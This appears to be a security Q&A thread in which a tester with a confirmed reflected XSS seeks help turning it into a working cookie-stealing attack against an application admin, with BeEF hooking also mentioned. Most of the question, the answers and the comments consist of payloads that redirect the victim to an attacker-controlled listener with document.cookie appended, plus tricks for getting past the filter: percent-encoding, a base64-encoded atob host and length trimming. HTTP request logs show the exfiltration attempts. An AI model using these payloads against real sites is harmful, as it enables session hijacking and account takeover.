I am checking this application & have confirmed a reflected xss. Now, I am trying to craft a functioning payload, instead of simply showing an alert box.

The crafted url is as follows:>"<script>document.location=""+document.cookie;</script>

Certain characters need to be encoded, so the payload is:>"<script>document.location=""%2bdocument.cookie%3b</script>

Opening this url directly executes the js without any issues.

However, with this application, an admin needs to click on this link via another page.

The problem is, when the crafted url is clicked/opened now, the payload is stripped till>"<script>document.location=""

Looking at the page source shows the following:

<form action=/vulnpage.php>"<script>document.location=" method=post name=search>

I've tried other payloads, some longer & even url shorteners, but it doesn't make any difference.

I can't seem to figure out why the same crafted url gets executed when opened directly, but has the payload stripped when going via a different page.

How can I bypass this restriction to capture cookies, and / or inject beef hook, preferably using a short payload & w/o redirection.


UPDATE Based on @xavier59's comment, I encoded the % to %25, so the request is:>"<script>document.location=""%2bdocument.cookie%3b</script>

The js payload executes as intended (redirect to attacker web server), but now cookies do not get captured. Here's the request I get once the payload gets executed:

GET /z.php%3fy= HTTP/1.1

+document.cookie is still getting stripped off.

UPDATE2 HTTP request & responses when the crafted url is clicked:

Crafted URL:>"<script>location=atob("aHR0cDovLzE5Mi4xNjguMS4zL3oucGhwP3k9").concat(document.cookie)</script>

User-Agent:Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0

Date:Fri, 02 Feb 2018 22:20:35 GMT
Keep-Alive:timeout=15, max=100
Content-Type:text/html; charset=iso-8859-1

User-Agent:Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0

Server:SimpleHTTP/0.6 Python/2.7.6
Date:Fri, 02 Feb 2018 22:31:50 GMT
  • Can't you post it instead?
    – user81147
    Commented Feb 2, 2018 at 9:04
  • I can submit the js as a post request. But how will it change this situation? The payload will still get stripped..
    – Sunshine
    Commented Feb 2, 2018 at 10:44
  • Since there is no Content-Security-Policy, is there a reason why you don't import the script (<script src=...) ?
    – Xavier59
    Commented Feb 3, 2018 at 11:53

2 Answers 2


The website is reflecting the location without the query string. Anything behind a ? in an URI is called the query string.

%3F is the URI encoding of the ? character. That is why everying behind it is being stripped, because it is recognised as part of the query string and the website doesn't want to reflect it.

In order to achieve a working payload, you need to percent encode the %. Percent encoding of % is %25.

The payload should then looks like>"<script>document.location=""%2bdocument.cookie%3b</script>

Edit :

I initially thought %253fwould be reflected as ? but since it's not, we might need to encode the url differently.

First, open up a console and encode it as base64 :


Then, avoid using + (%2b) in your payload, as it also has a special meaning in URI by using the concat method.


The final payload then could be something like :>"<script>document.location=atob("aHR0cDovLzE5Mi4xNjguMS4zL3oucGhwP3k9").concat(document.cookie);</script>

Edit 2 :

So we're size restricted. We need to make the payload 10 characters shorter.

; isn't mandatory (bud bad coding practice). (9 remaining)

document.location can become just location in certain case (also a bad coding practice). Brace yourself ... 0 remaining.

What about>"<script>location=atob("aHR0cDovLzE5Mi4xNjguMS4zL3oucGhwP3k9").concat(document.cookie)</script>
  • This works partially now. XSS JS is getting executed, but document.cookie is still getting stripped. So, the request (at cookie capture listener) comes in as: GET /z.php%3fy= HTTP/1.1 . Cookie is still not captured...
    – Sunshine
    Commented Feb 2, 2018 at 10:38
  • one of the issues is that the final url needs to be short. When trying atob method, the app strips off ;</script> & thus the js breaks...
    – Sunshine
    Commented Feb 2, 2018 at 21:14
  • cool, this fixed the length issue. However, the original issue comes up once again - when opening above crafted url directly, the js executes all fine & cookies are captured. However, when clicking the link via the app page, js executes, connects to my evil web server, but does not include cookies. The req is GET /z.php?y= HTTP/1.1...
    – Sunshine
    Commented Feb 2, 2018 at 21:43
  • I am much curious now what keeps breaking cookie capture. On a different note, for now, I've tested out 2 different vectors to highlight impact - 1) beef hook, & 2) using xss to exploit csrf.
    – Sunshine
    Commented Feb 2, 2018 at 21:49
  • You say that "the original issus comes up once again". However, from your initial post, the problem is that the payload isn't getting properly reflected. Isn't it now ? (even if it does not execute as expected). Could you update your post and post the list of headers returned by the website when clicking the link ? I can't figure out why you aren't capturing the cookies if they are in fact not httponly.
    – Xavier59
    Commented Feb 2, 2018 at 21:57
-1 is your local web server in which you are stealing cookies.

Try to do this: document.location=""+document.cookie

And if the payload executes and still you can't capture the cookies, make sure that there is no HTTPonly flag in the cookie header.

  • I'd tested this earlier. It does not capture document.cookie...
    – Sunshine
    Commented Feb 2, 2018 at 18:21
  • Cookie does not use HTTPOnly flag...
    – Sunshine
    Commented Feb 2, 2018 at 19:16
  • I don't know why It devoted? Commented Nov 23, 2018 at 9:36

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .